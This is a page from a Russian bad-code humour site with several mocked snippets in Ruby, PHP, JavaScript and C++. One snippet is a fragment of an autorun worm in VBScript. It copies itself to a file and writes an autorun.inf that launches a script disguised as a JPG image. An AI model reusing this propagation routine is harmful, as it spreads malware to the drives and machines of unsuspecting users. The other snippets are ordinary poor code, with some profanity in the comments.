- 1
- 2
- 3
- 4
'use strict';
'use strong';
'use spiderman';
'use terminator';
Нашли или выдавили из себя код, который нельзя назвать нормальным, на который без улыбки не взглянешь? Не торопитесь его удалять или рефакторить, — запостите его на говнокод.ру, посмеёмся вместе!
+146
'use strict';
'use strong';
'use spiderman';
'use terminator';
:)
−97
if (not fso.fileexists(fname)) or (not fso.fileexixts(aname)) then
if (fso.fileexists(fname)=false) then
fso.copyfile wscript.scriptname,fname
end if
if (fso.fileexists(aname)=false) then
set au=fso.createtextfile aname,2,true
au.writeline "[AutoRun]"
au.writeline "shellexecute=wscript /e:vbs pamela handerson.jpg -autostart"
au.close
fso.getfile(aname).attributes=32
set au=nothing
end if
end if
...
Взято из кода одного autorun-червя. Вопрос: нахуя?
−137
begin
# Это пиздец
artist_title = row.title.split(/ - /)
if artist_title.length > 1
row.artist = artist_title[0]
row.title = artist_title[1]
else
artist_title = row.title.split(/ — /)
if artist_title.length > 1
row.artist = artist_title[0]
row.title = artist_title[1]
else
artist_title = row.title.split(/ - /)
if artist_title.length > 1
row.artist = artist_title[0]
row.title = artist_title[1]
else
artist_title = row.title.split(/ – /)
if artist_title.length > 1
row.artist = artist_title[0]
row.title = artist_title[1]
else
artist = row.title.match(/\((.*?)\)/)
artist = artist.captures[0]
# puts artist_title
# puts row.title
# puts artist
row.artist = artist
row.title = row.title.gsub('('+artist+')', '').strip
end
end
end
end
rescue
next
end
+141
$('.basket-table').closest('body').find('.basket');
Просто заселектили и продолжаем говнокодить, без сохранения в переменную или дальнейшей модификации заселекченных элементов.
+145
<img src="%20.png">
+142
<?php
public
function filter()
{
$manufacturers = Manufacturers::all();
$products = Products::where('category', '=', Input::get('category'))->get();
if (Input::get('size') != 'notselected')
{
$size = Input::get('size');
}
if (Input::get('category') == 3)
{
if (Input::get('type') != 'notselected')
{
$products = Products::where('category', '=', Input::get('category'))->where('type', '=', Input::get('type'))->get();
}
}
if (Input::get('manufacturer') != "notselected")
{
$products = Products::where('category', '=', Input::get('category'))->where('manufacturer', '=', Input::get('manufacturer'))->get();
}
if (Input::get('min') != 0 and Input::get('max') != 0)
{
$products = Products::where('category', '=', Input::get('category'))->whereBetween('price', array(
Input::get('min') ,
Input::get('max')
))->get();
if (Input::get('size') != "notselected")
{
$products = Products::where('category', '=', Input::get('category'))->where('size', 'LIKE', "%$size%")->whereBetween('price', array(
Input::get('min') ,
Input::get('max')
))->get();
}
else
{
$products = Products::where('category', '=', Input::get('category'))->whereBetween('price', array(
Input::get('min') ,
Input::get('max')
))->get();
}
if (Input::get('manufacturer') != "notselected")
{
$products = Products::where('category', '=', Input::get('category'))->where('manufacturer', '=', Input::get('manufacturer'))->whereBetween('price', array(
Input::get('min') ,
Input::get('max')
))->get();
}
else
{
$products = Products::where('category', '=', Input::get('category'))->whereBetween('price', array(
Input::get('min') ,
Input::get('max')
))->get();
}
}
if (Input::get('minim') != 0)
{
$products = Products::where('category', '=', Input::get('category'))->where('price', '<', Input::get('minim'))->get();
if (Input::get('size') != "notselected")
{
$products = Products::where('category', '=', Input::get('category'))->where('size', 'LIKE', "%$size%")->where('price', '<', Input::get('minim'))->get();
}
else
{
$products = Products::where('category', '=', Input::get('category'))->where('price', '<', Input::get('minim'))->get();
}
if (Input::get('manufacturer') != "notselected")
{
$products = Products::where('category', '=', Input::get('category'))->where('manufacturer', '=', Input::get('manufacturer'))->where('price', '<', Input::get('minim'))->get();
}
else
{
$products = Products::where('category', '=', Input::get('category'))->where('price', '<', Input::get('minim'))->get();
}
}
if (Input::get('maxim') != 0)
{
$products = Products::where('category', '=', Input::get('category'))->where('price', '>', Input::get('maxim'))->get();
if (Input::get('size') != "notselected")
{
$products = Products::where('category', '=', Input::get('category'))->where('size', 'LIKE', "%$size%")->where('price', '>', Input::get('maxim'))->get();
}
else
{
$products = Products::where('category', '=', Input::get('category'))->where('price', '>', Input::get('maxim'))->get();
}
if (Input::get('manufacturer') != "notselected")
{
$products = Products::where('category', '=', Input::get('category'))->where('manufacturer', '=', Input::get('manufacturer'))->where('price', '>', Input::get('maxim'))->get();
}
Вот так был реализован фильтр интернет-магазина. Не ну а хули?
+142
(jQuery.noConflict()(function ($) {
"use strict";
$(document).on('ready', function () {
$('.sisea-results-list').each(function () {
var elements = $(this).find('.sisea-result'),
size = elements.size(),
find = 10;
for (var i = 0; i < find; i++) elements.eq(i).show(300);
$(window).on('scroll', function() {
var scrollTop = window.pageYOffset || document.documentElement.scrollTop,
offset = $('#scroll').offset().top;
if (scrollTop > offset - 800) {
find < size ? find += 10 : find = size;
for (var i = 0; i < find; i++) elements.eq(i).show(300);
}
});
});
});
}));
При скролле элементы появляются на странице. Говнокод ли?
+143
char * hmod = (char *)GetModuleHandleW(L"msenv.dll");
IMAGE_DOS_HEADER *pDosHeader = (IMAGE_DOS_HEADER *)hmod;
IMAGE_NT_HEADERS *pNtHeaders = (IMAGE_NT_HEADERS *)(hmod + pDosHeader->e_lfanew);
char *pcode = (hmod + pNtHeaders->OptionalHeader.BaseOfCode);
char *ecode = (pcode + pNtHeaders->OptionalHeader.SizeOfCode);
while (pcode < ecode - sizeof(int))
{
if((*(int *)pcode) == 0xFFFFDCB8 ||
(*(int *)pcode) == 0xFFFFDC89 )
{
wchar_t buf[1024];
wsprintfW(buf, L"%p\n", pcode);
OutputDebugStringW(buf);
}
pcode++;
}
А как в студийном отладчике искать по памяти?
+143
if (strlen($this->post['Name']) >= 3) {
$p = preg_split('/\s+/', $name) + [' ', ' '];
sort($p);
$permutation = [$p[0], $p[1], $p[2], $p[0], $p[1], $p[0], $p[2], $p[1], $p[0]];
$name = join(' ', $permutation);
$list = Model_Students::searchStudentsByName($name, $facultyID, $gradeID, $groupID);
}
С ребятами запилили полнотекстовый поиск фио. Функция из модели — вызов MySQL процедуры.
Реалия простая — MySQL не умеет в split, не умеет в переменное количество параметров, не умеет в нечёткий поиск. Выкручиваемся как можем.
+143
if(touch){
// e.initUIEvent();
try{
var where=document.elementFromPoint(lastx,lasty);//Уфф...
//var t=obj_to_html(where);
//var t=obj_to_html(e.target.tagName||'no target');
//t+=obj_to_html(e.target.id||'no id');
//t+=obj_to_html(e.target.className||'no class');
// var t='';//=obj_to_html('no offsetXY');
//t+=obj_to_html(e.screenX||'no sX');
//t+=obj_to_html(e.screenY||'no sY');
// var touch = e.targetTouches[0];
// Place element where the finger is
// t+=obj_to_html(lastx||'no lastX');
// t+=obj_to_html(lasty||'no lastY');
//t+=obj_to_html(event.changedTouches[event.changedTouches.length-1].target.id||'no e id');
//t+=obj_to_html(event.changedTouches[event.changedTouches.length-1].target.tagName||'no e tag');
// t+=obj_to_html(event.changedTouches[event.changedTouches.length-1].target.className||'no e class');
// t+=obj_to_html(e.which.tagName||'el from offsetXY have no tag');
// t+=obj_to_html(e.which.id||'el from offsetXY have no id');
// t+=obj_to_html(document.elementFromPoint(lastx,lasty).id||'el from offsetXY have no id');
//t+=obj_to_html(document.elementFromPoint(lastx,lasty).tagName||'el from offsetXY have no tag');
//t+=obj_to_html(e.targetTouches||'no TT');
//t+=obj_to_html(e.touches||'no TT');
// document.getElementById('debug').innerHTML+='Res:'+t;
// return;
// t+=obj_to_html(e.targetTouches||'no touches');
// node_log(t);
//obj_to_html(e)+obj_to_html(where);
}catch(err){
// var t=obj_to_html(err);
// document.getElementById('debug').innerHTML+='Error:'+t;//obj_to_html(e)+obj_to_html(where);
document.getElementById('debug').innerHTML+='Error:'+err.message;
// node_log(t);
//obj_to_html(e)+obj_to_html(where);
}
//return;
// e = fixEvent(e);
// http://192.168.56.1:3000
//var where=e.target;//document.elementFromPoint(e.clientX,e.clientY);
}else{
e = fixEvent(e);
var where=document.elementFromPoint(e.clientX,e.clientY);
}
// document.getElementById('debug').innerHTML=obj_to_html(e)+obj_to_html(where);
Небольшая история о том,что бы мы делали без console.log.